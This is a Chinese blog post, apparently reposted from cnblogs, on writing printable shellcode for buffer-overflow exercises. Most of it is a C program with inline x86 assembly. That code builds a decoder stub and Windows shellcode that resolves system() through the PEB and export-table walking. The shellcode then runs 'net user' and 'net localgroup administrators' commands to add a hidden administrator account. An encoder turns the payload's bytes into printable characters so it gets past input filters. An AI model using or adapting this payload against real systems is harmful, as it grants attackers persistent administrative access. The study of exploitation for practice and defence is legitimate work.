zoukankan      html  css  js  c++  java
  • 编写便于打印的Shellcode

    最近做关于溢出的题目

    有的题目,生成的shellcode由于含有特殊字符,不方便让程序读取

    于是将之前生成shellcode的加密解密部分稍微修改了一下

    思路大概如此,以后需要用到什么样的shellcode自己修改加密解密程序生成就是了

      1 #include <stdio.h>
      2  #include <string.h>
      3  #include <stdlib.h>
      4  #include <windows.h>
      5  
      6  //#define     Debug            1;
      7  
      8  #define  Legal_Begin        0x20    //从0x20开始的可以打印
      9                                     //其中Legal_Begin用作特殊标记
     10  #define  Legal_End            0x7E    //到0x7E结束
     11  
     12  #define  Enc_key            0x7A    //编码密钥
     13  #define  FLAG_AVOID        0x30    //需要回避的字符的标记
     14  
     15  #define PROC_BEGIN    __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
     16      __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 
     17  #define PROC_END PROC_BEGIN
     18  #define  BEGINSTRLEN    0x08    //开始字符串长度   
     19  #define  ENDSTRLEN      0x08    //结束标记字符的长度   
     20  #define  nop_CODE       0x90    //填充字符   
     21  
     22  #define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?   
     23  #define  MAX_Sh_Len     0x2000  //hellCode的最大长度 8192足够?   
     24  
     25  #define  MY_SUCCEED        0
     26  #define  MY_NO_BEGIN    1
     27  #define  MY_NO_END        2
     28  #define     MY_MALLOC_ERR    3
     29  
     30  #define  MY_AVOID        0
     31  #define  MY_NO_AVOID    1
     32  
     33  void Dcrypt(void);
     34  void Shellcode(void);
     35  
     36  //将函数func的代码放到buffer指向的内存中
     37  //其中buffer指向的内存是动态分配的
     38  //func_len指向buffer的长度
     39  int get_func_code(char** buffer,//存放func的代码
     40                  char* fun,        //函数首地址
     41                  int* func_len    //指向buffer长度
     42                  );
     43  
     44  //打印对应的错误信息
     45  void print_iRet(int iRet, char* func_name);
     46  
     47  int is_legal(char ch);//判断一个字符是否要回避
     48  
     49  int Encrypt_Shell(char** buffer,//存放加密过后的字节码
     50                  char*    fun,    //原Shellcode的字节码
     51                  int        old_len,//原Shellcode的长度
     52                  int*    new_len    //加密后字节码的长度
     53                  );
     54  void my_print_Shellcode(char* Shellcode, int len);//打印最终的Shellcode 
     55  
     56  int main(int argc, char* argv[])
     57  {
     58      //取得加密函数字节码
     59      int        Dcrypt_len = 0;
     60      char*    Dcrypt_buffer = NULL;
     61      int        iRet = get_func_code(&Dcrypt_buffer, (char*)Dcrypt, &Dcrypt_len);
     62      print_iRet(iRet, "Dcrypt字节码");
     63  
     64      //取得Shellcode字节码
     65      int        Shell_len = 0;
     66      char*    Shell_buffer = NULL;
     67      iRet = get_func_code(&Shell_buffer, (char*)Shellcode, &Shell_len);
     68      print_iRet(iRet, "Shellcode原始字节码");
     69  
     70      //将Shellcode字节码加密
     71      char*    Shell_Encrypt_buffer = NULL;
     72      int        Shell_Encrypt_len = 0;
     73      iRet = Encrypt_Shell(&Shell_Encrypt_buffer, Shell_buffer, Shell_len, &Shell_Encrypt_len);
     74      print_iRet(iRet, "Shellcode加密后的字节码");
     75  
     76      //打印整体Shellcode的字节码
     77      char*    print_buffer = (char*)malloc(Dcrypt_len + Shell_Encrypt_len);
     78      memcpy(print_buffer, Dcrypt_buffer, Dcrypt_len);
     79      free(Dcrypt_buffer);
     80      memcpy(print_buffer + Dcrypt_len, Shell_Encrypt_buffer, Shell_Encrypt_len);
     81      free(Shell_buffer);
     82      free(Shell_Encrypt_buffer);
     83      my_print_Shellcode(print_buffer, Dcrypt_len + Shell_Encrypt_len);
     84      free(print_buffer);
     85      return 0;
     86  }
     87  
     88  void Dcrypt(void)
     89  {
     90      PROC_BEGIN
     91      __asm
     92      {
     93          pushad
     94          jmp   next   
     95  getEncCodeAddr:   
     96          pop   edi   
     97          push  edi   
     98          pop   esi   
     99          xor   ecx,ecx 
    100  Decrypt_lop:    
    101          lodsb   
    102          cmp  al,cl   
    103          jz   save   
    104          cmp  al,Legal_Begin  //判断是否为特殊字符   
    105          jz   special_char_clean   
    106  store:            
    107              stosb   
    108          jmp  Decrypt_lop   
    109  special_char_clean:    //这里要特殊注意一下,看指令里会不会包含特殊字符  
    110          lodsb
    111          and al,0x0f;
    112          shl al,0x4;
    113          mov bl,al;
    114          lodsb
    115          and al,0x0f;
    116          add al,bl;
    117          jmp store
    118  save:
    119          popad
    120          jmp  shell
    121  next:        
    122          call  getEncCodeAddr
    123  shell:
    124              //其余真正加密的shellcode代码会连接在此处
    125      }
    126      PROC_END
    127  }
    128  
    129 void Shellcode(void)
    130 {
    131     PROC_BEGIN
    132 #ifdef    Debug
    133     __asm _emit 0x1
    134     __asm _emit 0x2
    135 #endif
    136 
    137 #ifndef    Debug
    138     
    139     void*    hkernerl32            = NULL;
    140     void*    huser32                = NULL;
    141     void*    hmsvcrt                = NULL;
    142 
    143     void*    pGetProcAddress        = NULL;
    144     void*    pLoadLibrary        = NULL;
    145     void*    pExitProcess        = NULL;
    146     void*    pMessageBoxA        = NULL;
    147     void*    psystem                = NULL;
    148     
    149     //LoadLibrary("kernel32");
    150     _asm
    151     {        
    152         //保存寄存器
    153         pushad;
    154         
    155         //获得kernerl32基地址
    156         mov eax, fs:0x30 ;PEB的地址
    157         mov eax, [eax + 0x0c] ;Ldr的地址
    158         mov esi, [eax + 0x1c] ;Flink地址
    159         lodsd 
    160         mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址
    161         mov hkernerl32,eax;
    162         
    163         //获得GetProcAddress地址
    164         push ebp;
    165         mov ebp, hkernerl32 ;kernel32.dll 基址
    166         mov eax, [ebp+3Ch] ;eax = PE首部
    167         mov edx,[ebp+eax+78h]
    168         add edx,ebp ;edx = 引出表地址
    169         mov ecx , [edx+18h] ;ecx = 输出函数的个数
    170         mov ebx,[edx+20h] 
    171         add ebx, ebp ;ebx =函数名地址,AddressOfName 
    172 search:
    173         dec ecx
    174         mov esi,[ebx+ecx*4] 
    175         add esi,ebp ;依次找每个函数名称
    176         ;GetProcAddress
    177         mov eax,0x50746547
    178         cmp [esi], eax; 'PteG'
    179         jne search
    180         mov eax,0x41636f72
    181         cmp [esi+4],eax; 'Acor'
    182         jne search 
    183         ;如果是GetProcA,表示找到了 
    184         mov ebx,[edx+24h]
    185         add ebx,ebp ;ebx = 序号数组地址,AddressOf
    186         mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值
    187         mov ebx,[edx+1Ch]
    188         add ebx,ebp ;ebx=函数地址的起始位置,AddressOfFunction
    189         mov eax,[ebx+ecx*4] 
    190         add eax,ebp ;利用序号值,得到出GetProcAddress的地址
    191         pop ebp;
    192         mov pGetProcAddress,eax;
    193 
    194         //获得LoadLibraryA地址
    195         //push strLoadLibrary;"LoadLibraryA"
    196         call    _getLoadLib   
    197         _emit 0x4C   
    198         _emit 0x6F   
    199         _emit 0x61   
    200         _emit 0x64   
    201         _emit 0x4C   
    202         _emit 0x69   
    203         _emit 0x62   
    204         _emit 0x72   
    205         _emit 0x61   
    206         _emit 0x72   
    207         _emit 0x79   
    208         _emit 0x41   
    209         _emit 0x0   
    210         //db      "LoadLibraryA",0              
    211 _getLoadLib:
    212         push hkernerl32;
    213         mov eax,pGetProcAddress;
    214         call eax;        GetProcAddress
    215         mov pLoadLibrary,eax;
    216         pop eax;
    217         pop eax;        平衡堆栈
    218         
    219         //下面是自己的实验
    220         //LoadLibraryA("msvcrt.dll")
    221         //push strmsvcrt
    222         call    _getmsvcrt
    223         _emit 'm'
    224         _emit 's'
    225         _emit 'v'
    226         _emit 'c'
    227         _emit 'r'
    228         _emit 't'
    229         _emit '.'
    230         _emit 'd'
    231         _emit 'l'
    232         _emit 'l'
    233         _emit '\0'
    234 _getmsvcrt:
    235         mov eax,pLoadLibrary;
    236         call eax;
    237         mov hmsvcrt, eax;
    238         pop eax;
    239 
    240         //push strsystem
    241         call _getsystem
    242         _emit 's'
    243         _emit 'y'
    244         _emit 's'
    245         _emit 't'
    246         _emit 'e'
    247         _emit 'm'
    248         _emit '\0'
    249 _getsystem:
    250         push hmsvcrt;
    251         mov eax,pGetProcAddress;
    252         call eax;
    253         mov psystem,eax;
    254         pop eax;
    255         pop eax;        平衡堆栈
    256         
    257         call _get_add_user
    258         _emit 'n'
    259         _emit 'e'
    260         _emit 't'
    261         _emit ' '
    262         _emit 'u'
    263         _emit 's'
    264         _emit 'e'
    265         _emit 'r'
    266         _emit ' '
    267         _emit 'x'
    268         _emit 'd'
    269         _emit '_'
    270         _emit 'h'
    271         _emit 'a'
    272         _emit 'c'
    273         _emit 'k'
    274         _emit ' '
    275         _emit 's'
    276         _emit 'u'
    277         _emit 'c'
    278         _emit 'c'
    279         _emit 'e'
    280         _emit 's'
    281         _emit 's'
    282         _emit ' '
    283         _emit '/'
    284         _emit 'a'
    285         _emit 'd'
    286         _emit 'd'
    287         _emit '\0'
    288 _get_add_user:
    289         mov eax,psystem;
    290         call eax;
    291         pop eax;
    292         call _get_adm_group
    293         _emit 'n'
    294         _emit 'e'
    295         _emit 't'
    296         _emit ' '
    297         _emit 'l'
    298         _emit 'o'
    299         _emit 'c'
    300         _emit 'a'
    301         _emit 'l'
    302         _emit 'g'
    303         _emit 'r'
    304         _emit 'o'
    305         _emit 'u'
    306         _emit 'p'
    307         _emit ' '
    308         _emit 'a'
    309         _emit 'd'
    310         _emit 'm'
    311         _emit 'i'
    312         _emit 'n'
    313         _emit 'i'
    314         _emit 's'
    315         _emit 't'
    316         _emit 'r'
    317         _emit 'a'
    318         _emit 't'
    319         _emit 'o'
    320         _emit 'r'
    321         _emit 's'
    322         _emit ' '
    323         _emit 'x'
    324         _emit 'd'
    325         _emit '_'
    326         _emit 'h'
    327         _emit 'a'
    328         _emit 'c'
    329         _emit 'k'
    330         _emit ' '
    331         _emit '/'
    332         _emit 'a'
    333         _emit 'd'
    334         _emit 'd'
    335         _emit '\0'
    336 _get_adm_group:
    337         mov eax,psystem;
    338         call eax;
    339         pop eax;
    340 
    341         call _getExitProcess
    342         _emit 'E'
    343         _emit 'x'
    344         _emit 'i'
    345         _emit 't'
    346         _emit 'P'
    347         _emit 'r'
    348         _emit 'o'
    349         _emit 'c'
    350         _emit 'e'
    351         _emit 's'
    352         _emit 's'
    353         _emit '\0'
    354 _getExitProcess:
    355         push hkernerl32;
    356         mov eax,pGetProcAddress;
    357         call eax;        GetProcAddress
    358         mov pExitProcess,eax;
    359         pop eax;
    360         pop eax;        平衡堆栈
    361 
    362         //MessageBoxA(NULL, "你被溢出了!", "xiaoma", MB_OK)
    363         //push struser32;
    364         call    _getUser
    365         _emit 0x75
    366         _emit 0x73
    367         _emit 0x65
    368         _emit 0x72
    369         _emit 0x33
    370         _emit 0x32
    371         _emit 0x2E
    372         _emit 0x64
    373         _emit 0x6C
    374         _emit 0x6C
    375         _emit 0x0
    376 _getUser:
    377         mov eax,pLoadLibrary;
    378         call eax;
    379         mov huser32,eax;
    380         pop eax;
    381         
    382         //push strMessageBoxA;"MessageBoxA"
    383         call    _getMessage
    384         _emit 0x4D
    385         _emit 0x65
    386         _emit 0x73
    387         _emit 0x73
    388         _emit 0x61
    389         _emit 0x67
    390         _emit 0x65
    391         _emit 0x42
    392         _emit 0x6F
    393         _emit 0x78
    394         _emit 0x41
    395         _emit 0x0
    396 _getMessage:
    397         push huser32;
    398         mov eax,pGetProcAddress;
    399         call eax;        GetProcAddress
    400         mov pMessageBoxA,eax;
    401         pop eax;
    402         pop eax;        平衡堆栈
    403         
    404         call _getCaption
    405         _emit 'O'
    406         _emit 'v'
    407         _emit 'e'
    408         _emit 'r'
    409         _emit 'f'
    410         _emit 'l'
    411         _emit 'o'
    412         _emit 'w'
    413         _emit '\0'
    414 _getCaption:
    415         pop  edi;
    416         call _getText
    417         _emit 'E'
    418         _emit 'x'
    419         _emit 'p'
    420         _emit 'l'
    421         _emit 'o'
    422         _emit 'i'
    423         _emit 't'
    424         _emit ' '
    425         _emit 's'
    426         _emit 'u'
    427         _emit 'c'
    428         _emit 'e'
    429         _emit 's'
    430         _emit 's'
    431         _emit '\0'
    432 _getText:
    433         pop  esi;
    434         push MB_OK;
    435         push edi;
    436         push esi;
    437         push 0h;
    438         mov eax,pMessageBoxA;
    439         call eax;
    440         pop eax;
    441         pop eax;
    442         pop eax;
    443         pop eax;
    444         
    445         push 0x0;
    446         mov eax,pExitProcess;
    447         call eax;
    448         pop eax;
    449         
    450         //恢复寄存器
    451         popad;
    452     }
    453 #endif
    454     PROC_END
    455 }
    456  
    457  int Encrypt_Shell(char** buffer, char*    fun, int old_len, int* new_len)
    458  {
    459      *buffer = (char*)malloc(3 * old_len);
    460      if (*buffer == NULL)
    461      {
    462          return MY_MALLOC_ERR;
    463      }
    464      int        i = 0, k = 0;
    465      char    ch = 0;
    466      for (i = 0; i < old_len; i++)
    467      {
    468          ch = (*(fun + i));
    469          if ( is_legal(ch) == MY_AVOID )//如果某个字符需要回避
    470          {
    471              *(*buffer + k) = Legal_Begin;
    472              k++;
    473              *(*buffer + k) = 0x40 + (((unsigned char)(ch&0xf0)) >> 4);
    474              k++;
    475              *(*buffer + k) = 0x40 + (ch&0x0f);
    476              k++;
    477          }
    478          else
    479          {
    480              *(*buffer + k) = ch;
    481              k++;
    482          }
    483      }
    484      *new_len = k;
    485      return(MY_SUCCEED);
    486  }
    487  
    488  int get_func_code(char** buffer, char* fun, int* func_len)
    489  {
    490      //返回码:
    491      int        i = 0;
    492      char*    func_begin    =    fun;
    493      char*    func_end    =    NULL;
    494      char*    fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串   
    495      char*    fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串
    496  
    497      //处理DEBUG版本里面的跳转表
    498      /*char ch = *func_begin;
    499      char temp = 0xE9;*/
    500      if (*func_begin == (char)0xE9)
    501      {
    502          func_begin++;
    503          i = *(int*)func_begin;
    504          func_begin += (i+4);
    505      }
    506  
    507      //通过寻找开始的标记
    508      //找到解码部分的开头地址
    509      for (i = 0; i < MAX_Enc_Len; i++)
    510      {
    511          if (memcmp(func_begin+i, fnbgn_str, BEGINSTRLEN) == 0)
    512          {
    513              break;
    514          }
    515      }
    516      if (i < MAX_Enc_Len)
    517      {
    518          func_begin += (i + BEGINSTRLEN);//定位到开始部分的代码
    519      }
    520      else
    521      {
    522          return MY_NO_BEGIN;    //没找到开始的标记
    523      }
    524  
    525      //通过寻找结尾的标记
    526      //找到解码部分的结束地址
    527      i = 0;
    528      for (func_end = func_begin; i < MAX_Enc_Len; i++)
    529      {
    530          if (memcmp(func_end+i, fnend_str, ENDSTRLEN) == 0)
    531          {
    532              break;
    533          }
    534      }
    535      if (i < MAX_Enc_Len)
    536      {
    537          func_end += i;//定位到结尾处的代码
    538      }
    539      else
    540      {
    541          return MY_NO_END;//没找到结尾的标记
    542      }
    543  
    544      *func_len = func_end - func_begin;//解码部分代码长度
    545  
    546      *buffer = (char*)malloc(*func_len);//分配地址储存解码的代码
    547      if (*buffer == NULL)
    548      {
    549          return MY_MALLOC_ERR;
    550      }
    551      memcpy(*buffer, func_begin, *func_len);
    552  
    553      return MY_SUCCEED;
    554  }
    555  
    556  void print_iRet(int iRet, char* func_name)
    557  {
    558      switch (iRet)
    559      {
    560      case MY_SUCCEED:
    561          printf("获取%s成功!\n",func_name);
    562          break;
    563      case MY_NO_BEGIN:
    564          printf("无法找到%s的头部标记!\n程序退出\n",func_name);
    565          exit(1);
    566          break;//不会执行到
    567      case MY_NO_END:
    568          printf("无法找到%s的尾部标记!\n程序退出\n",func_name);
    569          exit(1);
    570          break;//不会执行到
    571      case MY_MALLOC_ERR:
    572          printf("在获取%s字节码的时候分配内存错误!\n程序退出\n",func_name);
    573          exit(1);
    574          break;
    575      default:
    576          puts("未知的返回码!\n程序退出\n");
    577          exit(1);
    578          break;
    579      }
    580  }
    581  
    582  int is_legal(char ch)
    583  {
    584      
    585      if (ch < Legal_Begin+1 || ch > Legal_End)
    586      {
    587          return MY_AVOID;//需要替换
    588      }
    589      return MY_NO_AVOID;    //不需要替换
    590  }
    591  
    592  void my_print_Shellcode(char* Shellcode, int len)
    593  {
    594      int i = 0, k = 0;
    595      for (i = 0; i < len; i++)
    596      {
    597          if (k == 0)
    598          {
    599              putchar('"');
    600          }
    601          printf("\\x%.2X", (unsigned char)Shellcode[i]);
    602          k++;
    603          if (k == 16)
    604          {
    605              putchar('"');
    606              putchar('\n');
    607              k = 0;
    608          }
    609      }
    610      if (k != 16)
    611      {
    612          puts("\"\n");
    613      }
    614  }
  • 相关阅读:
    HTML学习笔记4----更多元素
    USB协议分析
    USB总线介绍
    SPI驱动程序设计
    SPI子系统
    SPI总线介绍和裸机编程分析
    I2C自编设备驱动设计
    I2C用户态驱动设计
    I2C学习
    MTD系统架构和yaffs2使用、Nandflash驱动设计
  • 原文地址:https://www.cnblogs.com/02xiaoma/p/2714567.html
Copyright © 2011-2022 走看看